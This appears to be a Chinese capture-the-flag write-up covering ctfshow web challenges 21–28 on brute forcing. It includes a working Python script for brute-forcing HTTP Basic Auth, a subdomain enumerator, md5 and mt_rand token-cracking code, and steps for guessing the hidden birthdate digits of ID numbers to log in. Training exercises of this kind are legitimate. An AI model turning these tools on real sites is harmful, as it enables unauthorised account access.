ctfshow web入门 爆破

Posted parkour-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 爆破相关的知识,希望对你有一定的参考价值。

目录

web21

web22

web23

web24

web25

web26

web27

web28


web21

custom iterator

随便输入一个密码,然后抓包,会是这样

会发现一个base64编码,解码发现它的形式为——admin:密码

所以在这个时候,我们要用自定义迭代器

第一段为admin

第二段为“:”

第三段为题目附件下载的密码

特别注意的是,要进行base64加密

而且不能进行字符url编码,因为,在base64加密后,会有=,进行url编码可能出现错误

爆破完成!!!得到flag了

第二个hint也提供了python的脚本,也可以用python跑出来的

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
import time
import requests
import base64
​
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
​
password = []
​
with open("1.txt", "r") as f:  
    while True:
        data = f.readline() 
        if data:
            password.append(data)
        else:
          break
        
​
​
for p in password:
    strs = 'admin:'+ p[:-1]
    header={
        'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    }
    rep =requests.get(url,headers=header)
    time.sleep(0.2)
    if rep.status_code ==200:
        print(rep.text)
        break
  

web22

域名爆破

http://z.zcjun.com/,但是这个题没有爆出来,

在看别人的wp也有用脚本的,

#用法: python3 subdomain.py xxxx.com
​
import socket
import sys
​
domain = sys.argv[1] 
​
with open('subdomain.txt','r') as f:
    for i in f:
        i = i.strip()#去空
        subdomain = i + '.'+domain
        try:
            ip = socket.gethostbyname(subdomain)
            print("\\033[1;32;40m %s \\033[0m" % (subdomain+'   '+ip))
        except Exception as e:
            pass
​

然后查看了hint,直接访问http://flag.ctfer.com/index.php,得到flag

flag{ctf_show_web}

web23

源码如下

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
error_reporting(0);
​
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
​
}
?>

我直接偷的大佬们的代码,自己还不会写

<?php 
error_reporting(0); 
​
$a="asdfghjklqwertyuiopzxcvbnm1234567890";
for($i=0;$i<36;$i++){
    for($j=0;$j<36;$j++){
        $token=$a[$i].$a[$j];    
        $token = md5($token); 
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ 
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ 
                echo $a[$i].$a[$j];
                exit(0);
            } 
        } 
    }
} 
?> 

import itertools
import hashlib
​
zimu = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in itertools.product('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890', repeat=3):
    blast = ''.join(i)
    md5_ins = hashlib.md5((str(blast)).encode('utf-8'))
    md5 = md5_ins.hexdigest()
    if md5[1:2] not in zimu and md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18] and md5[31:32] == '3':
        print('1:',blast,':',md5)
​

运行后为3j

然后直接传递token=3j即可得到flag

web24

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

源码如下

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

php的伪随机数,

<?php
mt_srand(372619038);
echo(mt_rand());
?>

在kali上运行得到结果为1155388967

传递?r=1155388967可得flag

web25

emmm,我太菜了

本人能力有限,看了大佬的wp也没有做出来

后期会更加勤奋学习,补上的!!!

web26

首先是一个大页面

然后是一个管理系统安装

也告诉了我们所有的信息,但是输入上去并不行,感觉需要爆破一下密码

抓包,爆破走起~

字典就用简单弱口令的字典就能爆出来

web27

emm,这个题感觉好有趣

首先是一个教务系统的页面,需要输入学号和密码

然后我们继续找信息,有一个录取名单我们下载打开一下

我们得到了一个名单,也不知道是干啥的,然后我们打开查询系统

我们就知道了,录取名单有姓名和身份证号

但是吧,身份证号有隐藏部分,这里加一下身份证号的小知识,简单了解一下

1.2位表示省(自治区、直辖市、特别行政区)。
3.4位表示市(地级市、自治州、地区、盟及直辖市所属区和县的汇总码)
5.6位表示县(区、县级市、旗)
7-14(身份证号码第七位到第十四位)表示编码对象出生的年、月、日,
15.16位表示所在地的派出所的代码。
17位标识性别:奇数表示男性,偶数表示女性。
18位为校验码

然后这里隐藏的部分就是出生的日期,然后我们抓包进行爆破

特别注意:这个页面有点问题,火狐会抓不全包,POST参数会抓不到,我们可以在别的浏览器查看,也可以直接用别浏览器进行抓包!!!

yyyyMMdd表示xxxx年xx月xx日

在其中yyyyMMdd为日期格式化就是年-月-日的意思,

再补充一下,类似这种的还有HH:mm:ss——时:分:秒

然后下面可以添加add prefix和add suffix

然后直接爆破

爆出来得到了身份证号,将编码解码一下,unicode转中文

我们可以知道了学号为02015237,密码为621022199002015237

然后我们返回最初的登录页面,登录,得到flag

web28

爆破目录

看一下题目提示

我们直接抓包,然后选择cluster bomb

然后爆出来了

做了ctfshow爆破的题目,真的有收获,会了一些其他爆破姿势,奈斯!

以上是关于ctfshow web入门 爆破的主要内容,如果未能解决你的问题,请参考以下文章

CTFShow2021六月赛Web

CTFshow刷题日记-WEB-爆破

ctfshow baby杯web

ctfshow web入门 信息搜集

ctfshow之web入门1

ctfshow web入门-sql注入